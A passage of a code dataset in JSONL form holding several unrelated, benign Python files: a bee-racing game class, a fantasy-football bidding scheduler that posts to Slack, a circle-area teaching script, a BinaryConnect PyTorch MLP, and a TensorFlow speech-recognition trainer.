pickle as pkl\nimport numpy as np\nfrom beeracer.codeParserLambda import CodeParser\nfrom beeracer.physics import Moveable, Physical\nfrom beeracer.settings import *\nfrom beeracer.sprites import Pollen\n\n\n\nclass Bee(Moveable):\n\n def __init__(self, game, spritepath: str, dt=0.05, assemblypath=None, binary=None, pos=None):\n if assemblypath is None and binary is None:\n raise Exception(\"Must provide assemblypath or binary\")\n\n Moveable.__init__(self, game, spritepath)\n self.game = game\n\n self.__vm = CodeParser(assemblypath)\n\n self._max_acceleration = 120\n self._velocity = 0\n self._location = np.array([0., 0])\n self._phi = 0\n self._dt = dt\n self._acceleration = 0\n self.pollen = 0\n if pos:\n self.start(pos)\n\n def start(self, startpos: (int, int)):\n start_x = float(startpos[0])\n start_y = float(startpos[1])\n self._location = np.array([start_x, start_y])\n self.pos = (start_x, start_y)\n\n def reset(self):\n self.image = self._originalimage\n self.rect = self.image.get_rect()\n self.old_rect = self.rect\n\n self.__vm = None\n self._velocity = np.array([0., 0])\n self._location = np.array([0., 0])\n self.pos = (0, 0)\n\n def update(self):\n self.__vm.tick()\n\n if self.__vm.checkMemory(1)*np.pi/180 != self.theta:\n self.theta = self.__vm.checkMemory(1) * np.pi / 180\n\n current_speed = self.__vm.checkMemory(2)\n desired_speed = self.__vm.checkMemory(0)\n speed_delta = round(desired_speed - current_speed)\n\n if speed_delta != 0:\n if abs(speed_delta) > self._max_acceleration*self._dt + current_speed:\n self.acceleration = self._max_acceleration * (speed_delta / abs(speed_delta))\n else:\n self.acceleration = speed_delta / self._dt\n else:\n self.acceleration = 0\n\n self.move()\n\n speed = self._velocity\n self.__vm.setMemory(loc=5, value=self.pos[0])\n self.__vm.setMemory(loc=6, value=self.pos[1])\n self.__vm.setMemory(loc=2, value=speed)\n\n closestpollen = 0\n pollenheading = 0\n for sprite in self.game.pollen:\n dist = ((sprite.rect.center[0] - self.pos[0]) ** 2 +\n ((sprite.rect.center[1] - self.pos[1]) ** 2) ** 0.5)\n if closestpollen == 0 or dist < closestpollen:\n closestpollen = dist\n pollenheading = int(Physical.getangle(\n self.pos[0], sprite.rect.center[0],\n self.pos[1], sprite.rect.center[1]\n ) * 180 / np.pi)\n self.__vm.setMemory(loc='pollenhead', value=pollenheading)\n\n Moveable.update(self)\n\n def save(self, filepath: str):\n temp = self.__vm\n self.__vm = None\n with open(filepath, 'wb') as fle:\n pkl.dump(self, fle)\n self.__vm = temp\n\n def move(self):\n self.theta += self._phi\n arry = np.array([self.acceleration, self._velocity])\n timevector = np.array([float(self._dt**2), self._dt])\n calc = arry*timevector\n ds = np.sum(calc)\n dv = self.acceleration * self._dt\n self._velocity += dv\n #print(f'theta: {self.theta}')\n real_ds = Physical.rotateaxis(np.array([ds, 0]), self.theta)\n self._location += real_ds\n\n def get_loc(self):\n return tuple(self._location)\n\n def draw_pollen(self):\n pollen = self.__vm.checkMemory('pollencount')\n if pollen > 60:\n col = RED\n elif pollen > 30:\n col = YELLOW\n else:\n col = GREEN\n width = int(self.rect.width * pollen / PLAYER_MAX_POLLEN)\n self.pollen_bar = pg.Rect(0, 0, width, 10)\n if pollen > 0:\n pg.draw.rect(self.image, col, self.pollen_bar)\n\n def add_pollen(self, amount):\n pollen = self.__vm.checkMemory('pollencount')\n pollen += amount\n if pollen == PLAYER_MAX_POLLEN:\n self.game.quit()\n self.__vm.setMemory(loc='pollencount', value=pollen)\n\n def get_pollen(self):\n return self.__vm.checkMemory('pollencount')\n\n\nclass ManualBee(Moveable):\n\n def __init__(self, game, spritepath: str, distance: int):\n Moveable.__init__(self, game, spritepath)\n self.distance = distance\n\n def start(self, startpos: (int, int)):\n start_x = float(startpos[0])\n start_y = float(startpos[1])\n self._location = np.array([start_x, start_y])\n self.pos = (start_x, start_y)\n\n def reset(self):\n self._image = self._originalimage\n self.rect = self.image.get_rect()\n self.old_rect = self.rect\n\n self.pos = np.array([0., 0])\n\n def update(self):\n Moveable.update(self)\n\n def tick(self):\n pass\n\n def get_loc(self):\n return tuple(self._location)\n\n def moveUp(self):\n self._location = np.array([self.pos[0], self.pos[1]-self.distance])\n\n def moveDown(self):\n self._location = np.array([self.pos[0], self.pos[1]+self.distance])\n\n def moveLeft(self):\n self._location = np.array([self.pos[0]-self.distance, self.pos[1]])\n\n def moveRight(self):\n self._location = np.array([self.pos[0]+self.distance, self.pos[1]])\n","sub_path":"beeracer/bee.py","file_name":"bee.py","file_ext":"py","file_size_in_byte":5349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"289084786","text":"import datetime\nimport os\nimport random\nimport sys\nfrom operator import attrgetter\n\nfrom sqlalchemy import and_, true\n\nfrom SlackBot import SlackBot\nfrom TaskScheduler import TaskScheduler\nfrom app import db, create_app\nfrom app.models.owner import Owner\nfrom app.models.player import Player\nfrom app.models.draft_pick import DraftPick\nfrom app.models.bid import Bid\nfrom app.models.states import States\nfrom local_settings import let_bot_post\nfrom constants import YEAR\n\nbot = SlackBot()\nts = TaskScheduler()\ntimeFormatString = '%A %B %d at %I:%M%p'\nletBotPost = let_bot_post\n# pylint: disable=singleton-comparison\n\n\ndef get_random_player(player_type):\n # query for all players of tag==playerType whose finishedBidding is false\n players = Player.query.filter(Player.tag == player_type) \\\n .filter(Player.finishedBidding is False).all()\n if players:\n return random.choice(players)\n else:\n return None\n\n\ndef get_next_player(player_type, playerIndex):\n return get_next_fran(playerIndex) if player_type == \"FRAN\" else get_next_tran(playerIndex)\n\n\ndef get_next_fran(playerIndex):\n # These were called out specifically because we were announcing the draft order\n # Should really write a function that does the randomness, then stores the order in\n # its own table. Then get_next_player can take the tag type and get the next\n # player from that table.\n fps = [\n Player.query.get(109), # Aaron Jones\n Player.query.get(153), # Davante Adams\n Player.query.get(82), # Michael Thomas\n Player.query.get(159), # Alvin Kamara\n Player.query.get(33), # Stefon Diggs\n Player.query.get(193), # Mike Evans\n Player.query.get(25), # Ezekiel Elliott\n ]\n\n return fps[playerIndex] if playerIndex < len(fps) else None\n\n\ndef get_next_tran(playerIndex):\n tps = [\n Player.query.get(142), # Russell Wilson\n Player.query.get(48), # Kenny Golladay\n Player.query.get(135), # Saquon Barkley\n Player.query.get(72), # Julio Jones\n Player.query.get(191), # Tyler Lockett\n Player.query.get(181), # CeeDee Lamb\n Player.query.get(35), # Keenan Allen\n Player.query.get(94), # Cam Akers\n ]\n if playerIndex < len(tps):\n return tps[playerIndex]\n else:\n return None\n\n\ndef cleanup_previous_round():\n message = ''\n franchise_decision_made = States.query.filter(\n States.name == 'franchiseDecisionMade').first()\n transition_decision_made = States.query.filter(\n States.name == 'transitionDecisionMade').first()\n # get the t_player and f_player. None if first time - previous player bid if not\n t_player = Player.query.filter(Player.tag == 'TRANS').filter(\n Player.upForBid == true()).first()\n f_player = Player.query.filter(Player.tag == 'FRAN').filter(\n Player.upForBid == true()).first()\n\n if t_player: # not the first time\n # if owner of transition pick didn't make a decision, the player changes hands\n if not transition_decision_made.bools:\n message += process_match_release_player(\"TRANS\", \"release\", 2)\n t_player.upForBid = False\n if f_player: # not the first time\n # if owner of franchise pick didn't make a decision, the player changes hands\n if not franchise_decision_made.bools:\n message += process_match_release_player(\"FRAN\", \"release\", 1)\n f_player.upForBid = False\n db.session.commit()\n return message\n\n\ndef start_bid():\n message = ''\n biddingState = States.query.filter_by(name=\"biddingOn\").first()\n if Player.query.filter(Player.upForBid == true()).count() == 0 and biddingState.bools is False:\n biddingState.number = 0\n else:\n biddingState.number = biddingState.number + 1\n\n franchise_decision_made = States.query.filter(\n States.name == 'franchiseDecisionMade').scalar()\n transition_decision_made = States.query.filter(\n States.name == 'transitionDecisionMade').scalar()\n\n message = cleanup_previous_round()\n\n # make sure all owners madeBid attribute is set to False\n owners = Owner.query.all()\n for o in owners:\n o.madeBid = False\n\n # TODO make this dynamic, not hard-coded\n if biddingState.number > 8:\n # that's all folks\n message += end_bidding()\n\n else:\n t_player = get_next_player(\"TRANS\", biddingState.number)\n if t_player:\n t_player.upForBid = True\n transition_decision_made.bools = False\n message += 'The transition player now up for bid is {0}.\\n'.format(t_player.name)\n else:\n message += 'There are no transition players up for bid.\\n'\n\n f_player = get_next_player(\"FRAN\", biddingState.number)\n if f_player:\n f_player.upForBid = True\n franchise_decision_made.bools = False\n message += 'The franchise player now up for bid is {0}.\\n'.format(f_player.name)\n else:\n message += 'There are no franchise players up for bid.\\n'\n\n biddingState.bools = True\n\n print(f_player, t_player)\n db.session.commit()\n # Reset Cron job time\n\n stop_time = datetime.datetime.today() + datetime.timedelta(hours=48)\n command = get_bidding_command(\"stop_bid\")\n stop_job = ts.get_job(\"STOPBID\", command)\n ts.set_job(stop_job, stop_time)\n message += 'Bidding for these players ends '\n message += stop_time.strftime(timeFormatString)\n\n # Post Bot Message\n if letBotPost:\n bot.post_message(message, 'general_url')\n else:\n print(message)\n\n\ndef end_bidding():\n end_message = f\"That's it for RFA in year {YEAR}.\"\n db.session.commit()\n # kind of hacky way to stop the crons... set it to 2 days ago\n stop_time = datetime.datetime.today() - datetime.timedelta(hours=48)\n command = get_bidding_command(\"stop_bid\")\n stop_job = ts.get_job(\"STOPBID\", command)\n ts.set_job(stop_job, stop_time)\n\n return end_message\n\n\ndef get_bidding_command(arg):\n pwd = os.getcwd()\n program = os.path.join(pwd, \"Calvinball/venv/bin/python\")\n script_to_run = os.path.join(pwd, \"Calvinball/bidding.py\")\n command = f\"{program} {script_to_run} {arg} \"\n return command\n\n\ndef stop_bid():\n # get the t_player and f_player\n t_player = Player.query.filter(Player.tag == 'TRANS').filter(\n Player.upForBid == true()).scalar()\n f_player = Player.query.filter(Player.tag == 'FRAN').filter(\n Player.upForBid == true()).scalar()\n was_no_fran_bid = True\n was_no_trans_bid = True\n\n if t_player:\n t_bids = get_bids(t_player)\n was_no_trans_bid = process_bids(t_player, 'TRANS', t_bids)\n t_player.finishedBidding = True\n\n if f_player:\n f_bids = get_bids(f_player)\n was_no_fran_bid = process_bids(f_player, 'FRAN', f_bids)\n f_player.finishedBidding = True\n\n # update the bidding state\n States.query.filter(States.name == 'biddingOn').scalar().bools = False\n\n db.session.commit()\n\n if was_no_fran_bid and was_no_trans_bid:\n message = \"There were no bids made this round on any player.\"\n start_time = datetime.datetime.today() + datetime.timedelta(minutes=1)\n command = get_bidding_command(\"start_bid\")\n start_job = ts.get_job('STARTBID', command)\n ts.set_job(start_job, start_time)\n\n else:\n # Set STARTBID to 24 hours later\n start_time = datetime.datetime.today() + datetime.timedelta(hours=24)\n command = get_bidding_command(\"start_bid\")\n start_job = ts.get_job('STARTBID', command)\n ts.set_job(start_job, start_time)\n message = \"Owners must match or release by {0}. New players will be available to pick \" \\\n \"at that time\".format(start_time.strftime(timeFormatString))\n message += \". If both are matched or released before then, new players will be available\" \\\n \" at that time\"\n message += \". I'll send a message when new players are available.\"\n\n if letBotPost:\n bot.post_message(message, 'general_url')\n else:\n print(message)\n\n\ndef get_bids(player):\n if player:\n all_bids = Bid.query.filter(Bid.player_id == player.id).all()\n return [b for b in all_bids if b.amount > 0]\n\n\ndef highest_bid(bids):\n if len(bids) == 1: # There is only 1 bid\n winning_bid = bids[0]\n winning_bid.winningAmount = winning_bid.amount\n else:\n high_amount = max(bids, key=attrgetter('amount')).amount\n winning_bids = [b for b in bids if b.amount == high_amount]\n winning_bid = get_bid_with_highest_pick(winning_bids)\n\n db.session.commit()\n return winning_bid\n\n\ndef get_bid_with_highest_pick(winning_bids):\n bids_with_pics = [b for b in winning_bids if b.draftPick is not None]\n if bids_with_pics:\n highest_draft_pick = min(bids_with_pics, key=attrgetter('draftPick'))\n else:\n highest_draft_pick = None\n if highest_draft_pick is None:\n return winning_bids[0] # For now, just whoever put their bid in first\n else:\n return winning_bids[winning_bids.index(highest_draft_pick)]\n\n\n# noinspection PyUnboundLocalVariable\ndef process_bids(player, tag, bids):\n ''' This processes the bids at stop bid time'''\n message = ''\n if bids:\n winning_bid = highest_bid(bids)\n winning_bid.winningBid = True\n if winning_bid.bounty is True:\n if tag == 'TRANS':\n bounty_string = \"$15 FAAB\"\n else:\n bounty_string = \"$10 CAB\"\n else:\n bounty_string = \"Pick {0} in the {1} round\".format(\n winning_bid.draftPick, 'first' if tag == \"FRAN\" else \"second\")\n\n message += \"{0} has the highest bid on {1} at ${2} and will give up {3} \" \\\n \"if the bid is not matched\" \\\n .format(Owner.query.get(winning_bid.owner_bidding_id).team_name,\n player.name,\n winning_bid.amount,\n bounty_string\n )\n was_no_bids = False\n else:\n if tag == 'TRANS':\n amount = 20\n tdm = States.query.filter(States.name == 'transitionDecisionMade').scalar()\n tdm.bools = True\n elif tag == 'FRAN':\n amount = 30\n fdm = States.query.filter(States.name == 'franchiseDecisionMade').scalar()\n fdm.bools = True\n\n winning_bid = Bid(\n player_id=player.id,\n owner_bidding_id=player.owner.id,\n amount=amount,\n )\n winning_bid.winningBid = True\n message = \"No one bid on {0}. He is staying put.\".format(player.name)\n was_no_bids = True\n db.session.add(winning_bid)\n db.session.commit()\n if letBotPost:\n bot.post_message(message, 'general_url')\n else:\n print(message)\n return was_no_bids\n\n\n# copied from views.py - should really just be in one place\ndef process_match_release_player(tag_type, decision, draft_round):\n ''' This processes the matching/releasing of players if the time limit was up and \n the previous owner didn't make a choice.'''\n player_up_for_bid = Player.query.filter(Player.upForBid == true()).filter(\n Player.tag == tag_type).scalar()\n winning_bid = Bid.query.filter(\n Bid.player_id == player_up_for_bid.id).filter(\n Bid.winningBid == true()).scalar()\n winning_pick = winning_bid.draftPick\n current_owner = Owner.query.get(player_up_for_bid.owner.id)\n bidding_owner = Owner.query.get(winning_bid.owner_bidding_id)\n\n if decision == 'match': # keep player\n # could do lots of things... but really don't need to do anything\n message = \"{0} has decided to keep {1} at a price of ${2}.\" \\\n .format(current_owner.team_name,\n player_up_for_bid.name,\n winning_bid.amount\n )\n else: # release player\n player_up_for_bid.mfl_team = bidding_owner.id\n if winning_pick:\n DraftPick.query.filter(\n and_(\n DraftPick.pickInRound == winning_pick,\n DraftPick.draftRound == draft_round)).scalar().update_pick(\n current_owner.id)\n message = \"{0} has decided to let {1} take his talents to {2}.\" \\\n .format(current_owner.team_name,\n player_up_for_bid.name,\n bidding_owner.team_name)\n\n if (tag_type == \"TRANS\"):\n tdm = States.query.filter_by(name=\"transitionDecisionMade\").first()\n tdm.bools = True\n else:\n fdm = States.query.filter_by(name=\"franchiseDecisionMade\").first()\n fdm.bools = True\n db.session.commit()\n\n message += \"\\n\"\n return message\n\n\ndef check_for_both_decisions():\n ''' This checks if both owners have decided, and if so executes start_bid()'''\n both_decisions = get_both_decisions()\n if both_decisions is True:\n start_bid()\n\n\ndef get_both_decisions():\n franchise_decision_made = States.query.filter(\n States.name == 'franchiseDecisionMade').scalar().bools\n transition_decision_made = States.query.filter(\n States.name == 'transitionDecisionMade').scalar().bools\n return franchise_decision_made and transition_decision_made\n\n\nif __name__ == '__main__':\n app = create_app(os.getenv('FLASK_CONFIG')\n or 'default').app_context().push()\n action = sys.argv[1]\n\n print(os.getenv('FLASK_CONFIG'))\n if action == 'stop_bid':\n stop_bid()\n\n elif action == 'start_bid':\n start_bid()\n","sub_path":"bidding.py","file_name":"bidding.py","file_ext":"py","file_size_in_byte":13657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"617890522","text":"#!/usr/bin/env python3\n#\nimport sys\n\n_description_ = \"\"\"\n Circle calculations. Enter the radius.\n Calculate circumference and area of the circle.\n Use a constant of 3.1415 for PI.\n Simple flow programming style.\n \"\"\"\n_author_ = \"\"\"Ian Stewart - December 2016\n Hamilton Python User Group - https://hampug.pythonanywhere.com\n CC0 https://creativecommons.org/publicdomain/zero/1.0/ \"\"\"\n\n# Program: snip_l2_07_b.py\n\n# Define Constant\nPI = 3.1415\n\nprint(\"Program {} has started...\".format(sys.argv[0]))\n\nradius = input(\"Enter the radius: \")\n\ntry:\n float(radius)\nexcept:\n print(\"Radius is not integer or float. Exiting...\")\n sys.exit()\n\ncircumference = 2 * PI * float(radius)\narea = PI * float(radius)**2\n\nprint(\"A circle with a radius of: {}\".format(radius))\nprint(\"Has a circumference of: {}\".format(circumference))\nprint(\"And an area of: {}\".format(area))\n\nprint(\"End of program.\")\ninput(\"Press Enter key to end program\")\nsys.exit()\n\"\"\"\nTo check code style:\nLinux...\n$ python3 -m pep8 --statistic --ignore=E701 snip_l2_07_b.py\nInstall pep8 on Linux: $ sudo apt-get install python3-pep8\nWindows...\n> python -m pep8 --statistic --ignore=E701 snip_l2_07_b.py\nInstall pep8 on Windows: >pip3 install pep8\nMore information: https://www.python.org/dev/peps/pep-0008/\n\"\"\"\n","sub_path":"ncea_level2/snippets/snip_l2_07_b.py","file_name":"snip_l2_07_b.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"371252088","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass BinaryConnect(nn.Module):\n def __init__(\n self,\n in_features,\n out_features,\n num_units=2048,\n momentum=0.15,\n eps=1e-4,\n drop_prob=0,\n batch_affine=False,\n ):\n\n super(BinaryConnect, self).__init__()\n\n self.in_features = in_features\n\n self.dropout1 = nn.Dropout(p=drop_prob)\n self.dropout2 = nn.Dropout(p=drop_prob)\n self.dropout3 = nn.Dropout(p=drop_prob)\n self.dropout4 = nn.Dropout(p=drop_prob)\n\n self.fc1 = nn.Linear(in_features, num_units, bias=False)\n self.fc2 = nn.Linear(num_units, num_units, bias=False)\n self.fc3 = nn.Linear(num_units, num_units, bias=False)\n self.fc4 = nn.Linear(num_units, out_features, bias=False)\n\n self.bn1 = nn.BatchNorm1d(\n num_units, eps=eps, momentum=momentum, affine=batch_affine\n )\n self.bn2 = nn.BatchNorm1d(\n num_units, eps=eps, momentum=momentum, affine=batch_affine\n )\n self.bn3 = nn.BatchNorm1d(\n num_units, eps=eps, momentum=momentum, affine=batch_affine\n )\n self.bn4 = nn.BatchNorm1d(\n out_features, eps=eps, momentum=momentum, affine=batch_affine\n )\n\n def forward(self, x):\n x = x.view(-1, self.in_features)\n x = self.dropout1(x)\n x = self.fc1(x)\n x = F.relu(self.bn1(x))\n x = self.dropout2(x)\n\n x = self.fc2(x)\n x = F.relu(self.bn2(x))\n x = self.dropout3(x)\n\n x = self.fc3(x)\n x = F.relu(self.bn3(x))\n x = self.dropout4(x)\n\n x = self.fc4(x)\n x = self.bn4(x)\n\n return x\n","sub_path":"baseline/full-precision/models/MLP.py","file_name":"MLP.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"444055642","text":"import pickle\nimport pathlib\nimport functools\nimport collections.abc as cabc\n\nimport numpy as np\nfrom nasbench_asr.quiet_tensorflow import tensorflow as tf\n\nfrom .callbacks.tensorboard import Tensorboard\nfrom .callbacks.lrscheduler import ExponentialDecay\nfrom .callbacks.reset_states import ResetStatesCallback\nfrom .metrics.ratio import Ratio\nfrom .metrics.ler import get_ler_numerator_denominator\nfrom .metrics.wer import get_wer_numerator_denominator\nfrom .metrics.ctc import get_logits_encodeds, get_normalized_ctc_loss_without_reduce\nfrom .datasets.timit_foldings import old_to_new_indices, get_phoneme_mapping\n\n\ndef get_logits_size(features, features_size, logits):\n time_reduction = tf.cast(tf.shape(features)[1],\n dtype=tf.float32) / tf.cast(tf.shape(logits)[1],\n dtype=tf.float32)\n logits_size = tf.cast(tf.cast(features_size, dtype=tf.float32) /\n time_reduction,\n dtype=features_size.dtype)\n\n return logits_size\n\n\ndef get_loss():\n def loss(logits, logits_size, encodeds, encodeds_size, metrics=None):\n logits_transposed = tf.transpose(logits, [1, 0, 2])\n ctc_loss_without_reduce = get_normalized_ctc_loss_without_reduce(\n logits_transposed=logits_transposed,\n logits_size=logits_size,\n encodeds=encodeds,\n encodeds_size=encodeds_size,\n )\n\n ctc_loss_without_reduce_numerator = ctc_loss_without_reduce\n ctc_loss_without_reduce_denominator = tf.ones_like(ctc_loss_without_reduce)\n\n if metrics is not None:\n metrics.update({\n \"ctc_loss\": (\n ctc_loss_without_reduce_numerator,\n ctc_loss_without_reduce_denominator,\n )\n })\n\n return tf.reduce_mean(ctc_loss_without_reduce)\n\n return loss\n\n\nclass Trainer():\n class RememberBestCallback(tf.keras.callbacks.Callback):\n def __init__(self, trainer, checkpoint_name):\n self.trainer = trainer\n self.best_so_far = None\n self.checkpoint_name = checkpoint_name\n\n def on_epoch_end(self, epoch, logs=None):\n if 'val_ler' in logs:\n value = logs['val_ler']\n if self.best_so_far is None or value <= self.best_so_far:\n self.best_so_far = value\n self.trainer.remember_best()\n self.trainer.save(self.checkpoint_name)\n else:\n print('Missing validation LER')\n\n class SaveLatestCallback(tf.keras.callbacks.Callback):\n def __init__(self, trainer, checkpoint_name):\n self.trainer = trainer\n self.checkpoint_name = checkpoint_name\n\n def on_epoch_end(self, epoch, logs=None):\n self.trainer.save(self.checkpoint_name)\n\n def __init__(self, dataloaders, loss, gpus=None, save_dir=None, verbose=True):\n encoder, data_train, data_validate, data_test = dataloaders\n\n self.encoder = encoder\n self.data_train = data_train\n self.data_validate = data_validate\n self.data_test = data_test\n\n self.save_dir = save_dir\n if self.save_dir:\n pathlib.Path(self.save_dir).mkdir(exist_ok=True)\n self.verbose = verbose\n\n self.model = None\n self.optimizer = None\n self.trackers = {}\n self.loss = loss\n\n self.get_decoded_from_encoded = self.data_train.encoder.get_decoded_from_encoded\n self.fp16_allreduce = True\n self.greedy_decoder = False\n self.beam_width = 12\n\n self._best_weights = None\n\n if gpus is not None and (not isinstance(gpus, cabc.Sequence) or bool(gpus)):\n if not isinstance(gpus, cabc.Sequence):\n gpus = [gpus]\n else:\n gpus = []\n\n if len(gpus) != 1:\n raise ValueError('TF implementation only supports running on a single GPU')\n\n #\n # API\n #\n\n def train(self, model, epochs=40, lr=0.0001, reset=False, model_name=None):\n metrics = {\n \"ctc_loss\": Ratio,\n \"wer\": Ratio,\n \"ler\": Ratio\n }\n self.init_trackers(metrics)\n\n self.model = model\n self.optimizer = tf.keras.optimizers.Adam(lr)\n\n # Adding learning rate scheduler callback\n self.lr_scheduler = ExponentialDecay(0.9, start_epoch=5, min_lr=0.0, verbose=False)\n\n callbacks = [self.lr_scheduler]\n\n this_model_save_dir = None\n if self.save_dir is not None:\n this_model_save_dir = self.save_dir\n if model_name is not None:\n this_model_save_dir = this_model_save_dir / model_name\n\n latest_ckpt = this_model_save_dir / 'latest.ckpt'\n best_ckpt = this_model_save_dir / 'best.ckpt'\n tensorboard_dir = this_model_save_dir / 'tensorboard'\n callbacks.append(Trainer.SaveLatestCallback(self, latest_ckpt))\n callbacks.append(Trainer.RememberBestCallback(self, best_ckpt))\n callbacks.append(Tensorboard(log_dir=tensorboard_dir, update_freq=10))\n\n # TODO: is that enough to restore state? or maybe we should always start from the beginnin\n if best_ckpt.exists():\n if reset:\n best_ckpt.unlink()\n else:\n self.load(best_ckpt)\n self.remember_best()\n if latest_ckpt.exists():\n if reset:\n latest_ckpt.unlink()\n else:\n self.load(latest_ckpt)\n\n self.compile()\n if self.verbose:\n self.model._model.summary()\n\n history_fit = self.fit(\n self.data_train.ds,\n epochs=epochs,\n steps_per_epoch=self.data_train.steps,\n callbacks=callbacks,\n validation_data=self.data_validate.ds,\n validation_steps=self.data_validate.steps,\n verbose=self.verbose\n )\n if self.verbose:\n tf.print(history_fit.history)\n\n self.recall_best()\n\n test_res = self.evaluate(self.data_test.ds,\n verbose=self.verbose,\n steps=self.data_test.steps,\n return_dict=True)\n\n history_evaluate = {}\n for key, val in test_res.items():\n history_evaluate['val_'+key] = val\n if self.verbose:\n tf.print(history_evaluate)\n\n if self.save_dir:\n with open(this_model_save_dir / 'scores.pickle', \"wb\") as fp:\n pickle.dump(history_fit.history, fp)\n with open(this_model_save_dir / 'test_scores.pickle', \"wb\") as fp:\n pickle.dump(history_evaluate, fp)\n\n self.model = None\n self.optimizer = None\n self.trackers = {}\n\n def step(self, input, training=True):\n if training:\n return self._train_step(input)\n else:\n return self._test_step(input)\n\n def save(self, checkpoint):\n self.model.save_weights(filepath=checkpoint, overwrite=True, save_format='tf')\n\n def load(self, checkpoint):\n self.model.load_weights(checkpoint)\n\n def remember_best(self):\n self._best_weights = self.model.get_weights()\n\n def recall_best(self):\n self.model.set_weights(self._best_weights)\n\n #\n # Implementation\n #\n\n def init_trackers(self, metrics, track_modes=[\"train\", \"test\"]):\n \"\"\"\n Initializing metric-trackers for e.g., training and validation datasets\n Args:\n metrics : A dictionary containing the tracker callable classes as values\n track_mode : A list containing the dataset partitions, e.g., [\"train\", \"val\", \"test\"]\n \"\"\"\n self.trackers.clear()\n\n if metrics is None:\n return\n\n assert isinstance(metrics, dict), \"Metrics should be a dictionary with callable values\"\n assert isinstance(track_modes, list), \"Expecting a list of tracking modes, e.g., [train, test]\"\n\n for mode in track_modes:\n self.trackers[mode] = {}\n\n for metric_name, metric_fn in metrics.items():\n if not callable(metric_fn): continue\n\n name = mode + \"_\" + metric_name\n self.trackers[mode][metric_name] = metric_fn(name=name)\n self.trackers[mode][metric_name].reset_states()\n\n def get_tracker_results(self):\n \"\"\"\n Prints all tracker result on screen\n \"\"\"\n results = {}\n\n # Looping over all trackers\n for key in self.trackers.keys():\n metrics = self.trackers.get(key)\n\n for met in metrics.keys():\n val = metrics.get(met).result()\n\n # Only printing tracker results if not NaN\n if not tf.math.is_nan(val):\n results[f\"{key}-{met}\"] = val.numpy()\n\n return results\n\n def _train_step(self, data):\n \"\"\"\n A wrapper to update the train trackers\n \"\"\"\n logs = self.train_step(data)\n\n for key in logs.keys() & self.trackers[\"train\"].keys():\n self.trackers[\"train\"][key].update_state(logs[key])\n logs[key] = self.trackers[\"train\"][key].result()\n\n # the returned logs will appear in the arguments to the methods of\n # the classes inheriting from tf.keras.callbacks.Callback\n\n return logs\n\n def _test_step(self, data):\n \"\"\"\n A wrapper to update the test trackers\n \"\"\"\n logs = self.test_step(data)\n\n for key in logs.keys() & self.trackers[\"test\"].keys():\n self.trackers[\"test\"][key].update_state(logs[key])\n logs[key] = self.trackers[\"test\"][key].result()\n\n # the returned logs will appear in the arguments to the methods of\n # the classes inheriting from tf.keras.callbacks.Callback\n\n return logs\n\n def compile(self):\n \"\"\"\n Overrides the tf.keras.Model train_step/test_step functions and\n compiles the model\n \"\"\"\n self.model.train_step = functools.partial(self.step, training=True)\n self.model.test_step = functools.partial(self.step, training=False)\n\n self.model.compile(optimizer=self.optimizer)\n\n def fit(self,\n x=None,\n y=None,\n batch_size=None,\n epochs=1,\n verbose=1,\n callbacks=None,\n validation_split=0.0,\n validation_data=None,\n shuffle=True,\n class_weight=None,\n sample_weight=None,\n initial_epoch=0,\n steps_per_epoch=None,\n validation_steps=None,\n validation_batch_size=None,\n validation_freq=1,\n max_queue_size=10,\n workers=1,\n use_multiprocessing=False):\n\n \"\"\"\n Wrapper for\n https://www.tensorflow.org/api_docs/python/tf/keras/Model#fit\n method of self.model, which ensures that HorovodCallback is prepended\n to callbacks before calling built-in fit. Parameters and default\n values are the same as those in built-in fit.\n \"\"\"\n\n # Adding ResetStateCallback as default\n if callbacks is None:\n callbacks = []\n callbacks.insert(0, ResetStatesCallback(self.trackers))\n\n return self.model.fit(x=x,\n y=y,\n batch_size=batch_size,\n epochs=epochs,\n verbose=self.verbose,\n callbacks=callbacks,\n validation_split=validation_split,\n validation_data=validation_data,\n shuffle=shuffle,\n class_weight=class_weight,\n sample_weight=sample_weight,\n initial_epoch=initial_epoch,\n steps_per_epoch=steps_per_epoch,\n validation_steps=validation_steps,\n validation_batch_size=validation_batch_size,\n validation_freq=validation_freq,\n max_queue_size=max_queue_size,\n workers=workers,\n use_multiprocessing=use_multiprocessing)\n\n\n def evaluate(self,\n x=None,\n y=None,\n batch_size=None,\n verbose=1,\n sample_weight=None,\n steps=None,\n callbacks=None,\n max_queue_size=10,\n workers=1,\n use_multiprocessing=False,\n return_dict=False):\n\n \"\"\"\n Wrapper for\n https://www.tensorflow.org/api_docs/python/tf/keras/Model#evaluate\n method of self.model, which ensures that HorovodCallback is prepended\n to callbacks before calling built-in evaluate. Parameters and default\n values are the same as those in built-in evaluate.\n \"\"\"\n\n # Adding ResetStateCallback as default\n if callbacks is None:\n callbacks = []\n callbacks.insert(0, ResetStatesCallback(self.trackers))\n\n return self.model.evaluate(x=x,\n y=y,\n batch_size=batch_size,\n verbose=self.verbose,\n sample_weight=sample_weight,\n steps=steps,\n callbacks=callbacks,\n max_queue_size=max_queue_size,\n workers=workers,\n use_multiprocessing=use_multiprocessing,\n return_dict=return_dict)\n\n def train_step(self, data):\n \"\"\"\n The argument data represents what is yielded from tf.data.Dataset. It\n is expected to be a tuple with four elements, namely:\n\n features, features_size, encodeds, encodeds_size = data\n\n where\n\n - features has shape [batch_size, time, channels], and is of type\n tf.float32\n - features_size has shape [batch_size], and is of type tf.int32, and\n represents the number of time frames per example in the batch\n - encodeds has shape [batch_size, None], and is of type tf.int32, and\n represents a text encoded version of the original sentence per\n example in the batch; it contains values in the range [1,\n encoder.vocab_size)\n - encodeds_size has shape [batch_size], and is of type tf.int32, and\n represents the number of tokens in each text encoded version of the\n original sentence\n\n In all above batch_size and time and determined at run time, whereas\n channels is defined at compile time\n \"\"\"\n\n metrics = {}\n\n features, features_size, encodeds, encodeds_size = data\n with tf.GradientTape() as tape:\n logits = self.model(features, training=True)\n logits_size = get_logits_size(features, features_size, logits)\n ctc_loss = self.loss(logits, logits_size, encodeds, encodeds_size, metrics=metrics)\n total_loss = tf.math.add_n([ctc_loss] + self.model.losses)\n\n # Horovod: (optional) 